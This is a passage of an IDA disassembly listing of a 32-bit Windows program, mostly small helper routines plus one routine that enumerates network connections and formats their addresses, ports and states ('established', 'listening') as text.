		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D78
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D74
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D68
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D68
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D64
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	near ptr 71AB50C8h
		nop
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		call	near ptr 27E0C04h
		nop
		push	eax
		call	near ptr 77C371BCh
		nop
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
